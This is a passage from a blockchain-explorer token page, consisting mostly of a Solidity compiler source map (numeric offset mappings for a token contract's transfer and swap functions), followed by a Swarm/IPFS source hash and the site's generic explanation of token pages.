;8053:64:0;8128:17;8175:1;8162:10;;:14;:48;;;;-1:-1:-1;8195:10:0;;:15;;8208:2;8195:15;:::i;:::-;8180:12;:30;8162:48;8158:71;;;8213:14;:12;:14::i;:::-;3026:7;3053:6;-1:-1:-1;;;;;8243:15:0;;;3053:6;;8243:15;;;;:32;;-1:-1:-1;3026:7:0;3053:6;-1:-1:-1;;;;;8262:13:0;;;3053:6;;8262:13;;8243:32;8239:1757;;;8304:76;8376:3;8304:67;8326:15;;8316:9;;:25;8315:55;;8356:14;;8315:55;;;8343:12;;8315:55;8304:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8409:13;;8292:88;;-1:-1:-1;;;;;;8401:21:0;;;8409:13;;8401:21;:55;;;;-1:-1:-1;8440:15:0;;-1:-1:-1;;;;;8426:30:0;;;8440:15;;8426:30;;8401:55;8397:706;;;8495:12;8481:10;;:26;8477:581;;-1:-1:-1;;;;;8540:22:0;;;;;;:18;:22;;;;;;;;8532:78;;;;-1:-1:-1;;;8532:78:0;;10412:2:1;8532:78:0;;;10394:21:1;10451:2;10431:18;;;10424:30;10490:34;10470:18;;;10463:62;-1:-1:-1;;;10541:18:1;;;10534:41;10592:19;;8532:78:0;10210:407:1;8532:78:0;5256:13;4888:2;5256;:13;:::i;:::-;5243:26;;:10;:26;:::i;:::-;8641:6;:24;;8633:63;;;;-1:-1:-1;;;8633:63:0;;10824:2:1;8633:63:0;;;10806:21:1;10863:2;10843:18;;;10836:30;10902:28;10882:18;;;10875:56;10948:18;;8633:63:0;10622:350:1;8633:63:0;8477:581;;;8763:12;;8753:6;:22;;8745:59;;;;-1:-1:-1;;;8745:59:0;;11179:2:1;8745:59:0;;;11161:21:1;11218:2;11198:18;;;11191:30;11257:26;11237:18;;;11230:54;11301:18;;8745:59:0;10977:348:1;8745:59:0;8861:14;;8851:6;8835:13;8845:2;-1:-1:-1;;;;;6626:18:0;6599:7;6626:18;;;:9;:18;;;;;;;6533:119;8835:13;:22;;;;:::i;:::-;:40;;8827:79;;;;-1:-1:-1;;;8827:79:0;;11532:2:1;8827:79:0;;;11514:21:1;11571:2;11551:18;;;11544:30;11610:28;11590:18;;;11583:56;11656:18;;8827:79:0;11330:350:1;8827:79:0;8950:12;8933:10;;8946:1;8933:14;;;;:::i;:::-;:29;8929:110;;;10491:20;;10539:8;8991:24;;;;;;9076:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8397:706;9129:13;;-1:-1:-1;;;;;9123:19:0;;;9129:13;;9123:19;;;;:47;;-1:-1:-1;;;;;;9148:22:0;;;;;;:18;:22;;;;;;;;9146:24;9123:47;9119:167;;;9225:14;;9215:6;9199:13;9209:2;-1:-1:-1;;;;;6626:18:0;6599:7;6626:18;;;:9;:18;;;;;;;6533:119;9199:13;:22;;;;:::i;:::-;:40;;9191:79;;;;-1:-1:-1;;;9191:79:0;;11532:2:1;9191:79:0;;;11514:21:1;11571:2;11551:18;;;11544:30;11610:28;11590:18;;;11583:56;11656:18;;9191:79:0;11330:350:1;9191:79:0;9311:13;;-1:-1:-1;;;;;9305:19:0;;;9311:13;;9305:19;:43;;;;-1:-1:-1;;;;;;9328:20:0;;9343:4;9328:20;;9305:43;9302:174;;;9381:79;9456:3;9381:70;9403:16;;9393:9;;:26;9392:58;;9435:15;;9392:58;;;9421:13;;9381:6;;:10;:70::i;:79::-;9369:91;;9302:174;9541:4;9492:28;6626:18;;;:9;:18;;;;;;9567:6;;-1:-1:-1;;;9567:6:0;;;;9566:7;:32;;;;-1:-1:-1;9585:13:0;;-1:-1:-1;;;;;9577:21:0;;;9585:13;;9577:21;9566:32;:47;;;;-1:-1:-1;9602:11:0;;-1:-1:-1;;;9602:11:0;;;;9566:47;:89;;;;;9638:17;;9617:20;:38;9566:89;:121;;;;;9669:18;;9659:9;;:28;9566:121;9562:421;;;9708:67;9725:49;9729:6;9736:37;9740:20;9761:11;;9736:3;:37::i;:::-;9725:3;:49::i;:::-;9708:16;:67::i;:::-;9823:21;9866:22;;9863:105;;9913:35;9926:21;9913:12;:35::i;:::-;9689:294;9562:421;8277:1719;8239:1757;10011:11;;10008:161;;10079:4;10061:24;;;;:9;:24;;;;;;:39;;10090:9;10061:28;:39::i;:::-;10054:4;10036:24;;;;:9;:24;;;;;;;:64;;;;10118:39;;-1:-1:-1;;;;;10118:39:0;;;;;;;10147:9;1361:25:1;;1349:2;1334:18;;1215:177;10118:39:0;;;;;;;;10008:161;-1:-1:-1;;;;;10195:15:0;;;;;;:9;:15;;;;;;:27;;10215:6;10195:19;:27::i;:::-;-1:-1:-1;;;;;10179:15:0;;;;;;:9;:15;;;;;:43;10247:40;10265:21;:6;10276:9;10265:10;:21::i;:::-;-1:-1:-1;;;;;10247:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10233:13:0;;;;;;;:9;:13;;;;;:54;;;;10303:41;;;10322:21;:6;10333:9;10322:10;:21::i;:::-;10303:41;;1361:25:1;;;1349:2;1334:18;10303:41:0;;;;;;;7888:2464;7819:2533;;;:::o;1880:190::-;1966:7;2002:12;1994:6;;;;1986:29;;;;-1:-1:-1;;;1986:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2026:9:0;2038:5;2042:1;2038;:5;:::i;:::-;2026:17;1880:190;-1:-1:-1;;;;;1880:190:0:o;11058:483::-;5676:6;:13;;-1:-1:-1;;;;5676:13:0;-1:-1:-1;;;5676:13:0;;;11160:16:::1;::::0;;11174:1:::1;11160:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11160:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11160:16:0::1;11136:40;;11205:4;11187;11192:1;11187:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11187:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11231:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11231:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11187:7;;11231:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11221:4;11226:1;11221:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11221:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11296:15:::1;::::0;11264:62:::1;::::0;11281:4:::1;::::0;11296:15:::1;11314:11:::0;11264:8:::1;:62::i;:::-;11337:15;::::0;:196:::1;::::0;-1:-1:-1;;;11337:196:0;;-1:-1:-1;;;;;11337:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11418:11;;11337:15:::1;::::0;11460:4;;11487::::1;::::0;11507:15:::1;::::0;11337:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5712:6:0;:14;;-1:-1:-1;;;;5712:14:0;;;-1:-1:-1;;;;11058:483:0:o;10563:151::-;5053:13;4888:2;5053;:13;:::i;:::-;5037:29;;:13;:29;:::i;:::-;10606:12;:22;5053:13;4888:2;5053;:13;:::i;:::-;5037:29;;:13;:29;:::i;:::-;10639:14;:24;10679:27;5053:13;4888:2;5053;:13;:::i;:::-;5037:29;;:13;:29;:::i;:::-;10679:27;;1361:25:1;;;1349:2;1334:18;10679:27:0;;;;;;;10563:151::o;2078:246::-;2136:7;2160:1;2165;2160:6;2156:47;;-1:-1:-1;2190:1:0;2183:8;;2156:47;2213:9;2225:5;2229:1;2225;:5;:::i;:::-;2213:17;-1:-1:-1;2258:1:0;2249:5;2253:1;2213:17;2249:5;:::i;:::-;:10;2241:56;;;;-1:-1:-1;;;2241:56:0;;13631:2:1;2241:56:0;;;13613:21:1;13670:2;13650:18;;;13643:30;13709:34;13689:18;;;13682:62;-1:-1:-1;;;13760:18:1;;;13753:31;13801:19;;2241:56:0;13429:397:1;2241:56:0;2315:1;2078:246;-1:-1:-1;;;2078:246:0:o;2332:132::-;2390:7;2417:39;2421:1;2424;2417:39;;;;;;;;;;;;;;;;;:3;:39::i;11549:98::-;11606:7;11633:1;11631;:3;11630:9;;11638:1;11630:9;;;-1:-1:-1;11636:1:0;11549:98;-1:-1:-1;11549:98:0:o;11655:92::-;11712:10;;:27;;-1:-1:-1;;;;;11712:10:0;;;;:27;;;;;11732:6;;11712:10;:27;:10;:27;11732:6;11712:10;:27;;;;;;;;;;;;;;;;;;;;;11655:92;:::o;1549:179::-;1607:7;;1639:5;1643:1;1639;:5;:::i;:::-;1627:17;;1668:1;1663;:6;;1655:46;;;;-1:-1:-1;;;1655:46:0;;14033:2:1;1655:46:0;;;14015:21:1;14072:2;14052:18;;;14045:30;14111:29;14091:18;;;14084:57;14158:18;;1655:46:0;13831:351:1;1736:136:0;1794:7;1821:43;1825:1;1828;1821:43;;;;;;;;;;;;;;;;;:3;:43::i;2472:189::-;2558:7;2593:12;2586:5;2578:28;;;;-1:-1:-1;;;2578:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2617:9:0;2629:5;2633:1;2629;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3267:127::-;3328:10;3323:3;3319:20;3316:1;3309:31;3359:4;3356:1;3349:15;3383:4;3380:1;3373:15;3399:416;3488:1;3525:5;3488:1;3539:270;3560:7;3550:8;3547:21;3539:270;;;3619:4;3615:1;3611:6;3607:17;3601:4;3598:27;3595:53;;;3628:18;;:::i;:::-;3678:7;3668:8;3664:22;3661:55;;;3698:16;;;;3661:55;3777:22;;;;3737:15;;;;3539:270;;;3543:3;3399:416;;;;;:::o;3820:806::-;3869:5;3899:8;3889:80;;-1:-1:-1;3940:1:1;3954:5;;3889:80;3988:4;3978:76;;-1:-1:-1;4025:1:1;4039:5;;3978:76;4070:4;4088:1;4083:59;;;;4156:1;4151:130;;;;4063:218;;4083:59;4113:1;4104:10;;4127:5;;;4151:130;4188:3;4178:8;4175:17;4172:43;;;4195:18;;:::i;:::-;-1:-1:-1;;4251:1:1;4237:16;;4266:5;;4063:218;;4365:2;4355:8;4352:16;4346:3;4340:4;4337:13;4333:36;4327:2;4317:8;4314:16;4309:2;4303:4;4300:12;4296:35;4293:77;4290:159;;;-1:-1:-1;4402:19:1;;;4434:5;;4290:159;4481:34;4506:8;4500:4;4481:34;:::i;:::-;4551:6;4547:1;4543:6;4539:19;4530:7;4527:32;4524:58;;;4562:18;;:::i;:::-;4600:20;;3820:806;-1:-1:-1;;;3820:806:1:o;4631:140::-;4689:5;4718:47;4759:4;4749:8;4745:19;4739:4;4718:47;:::i;4776:168::-;4849:9;;;4880;;4897:15;;;4891:22;;4877:37;4867:71;;4918:18;;:::i;6003:251::-;6073:6;6126:2;6114:9;6105:7;6101:23;6097:32;6094:52;;;6142:1;6139;6132:12;6094:52;6174:9;6168:16;6193:31;6218:5;6193:31;:::i;7180:306::-;7268:6;7276;7284;7337:2;7325:9;7316:7;7312:23;7308:32;7305:52;;;7353:1;7350;7343:12;7305:52;7382:9;7376:16;7366:26;;7432:2;7421:9;7417:18;7411:25;7401:35;;7476:2;7465:9;7461:18;7455:25;7445:35;;7180:306;;;;;:::o;7770:277::-;7837:6;7890:2;7878:9;7869:7;7865:23;7861:32;7858:52;;;7906:1;7903;7896:12;7858:52;7938:9;7932:16;7991:5;7984:13;7977:21;7970:5;7967:32;7957:60;;8013:1;8010;8003:12;10080:125;10145:9;;;10166:10;;;10163:36;;;10179:18;;:::i;11685:135::-;11724:3;11745:17;;;11742:43;;11765:18;;:::i;:::-;-1:-1:-1;11812:1:1;11801:13;;11685:135::o;11825:128::-;11892:9;;;11913:11;;;11910:37;;;11927:18;;:::i;12090:127::-;12151:10;12146:3;12142:20;12139:1;12132:31;12182:4;12179:1;12172:15;12206:4;12203:1;12196:15;12222:980;12484:4;12532:3;12521:9;12517:19;12563:6;12552:9;12545:25;12589:2;12627:6;12622:2;12611:9;12607:18;12600:34;12670:3;12665:2;12654:9;12650:18;12643:31;12694:6;12729;12723:13;12760:6;12752;12745:22;12798:3;12787:9;12783:19;12776:26;;12837:2;12829:6;12825:15;12811:29;;12858:1;12868:195;12882:6;12879:1;12876:13;12868:195;;;12947:13;;-1:-1:-1;;;;;12943:39:1;12931:52;;13038:15;;;;13003:12;;;;12979:1;12897:9;12868:195;;;-1:-1:-1;;;;;;;13119:32:1;;;;13114:2;13099:18;;13092:60;-1:-1:-1;;;13183:3:1;13168:19;13161:35;13080:3;12222:980;-1:-1:-1;;;12222:980:1:o;13207:217::-;13247:1;13273;13263:132;;13317:10;13312:3;13308:20;13305:1;13298:31;13352:4;13349:1;13342:15;13380:4;13377:1;13370:15;13263:132;-1:-1:-1;13409:9:1;;13207:217::o

Swarm Source

ipfs://7c7c46e09f942fdc1abd7d3063d02c11feb81953b97fb0c78f951e51bd6322a8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.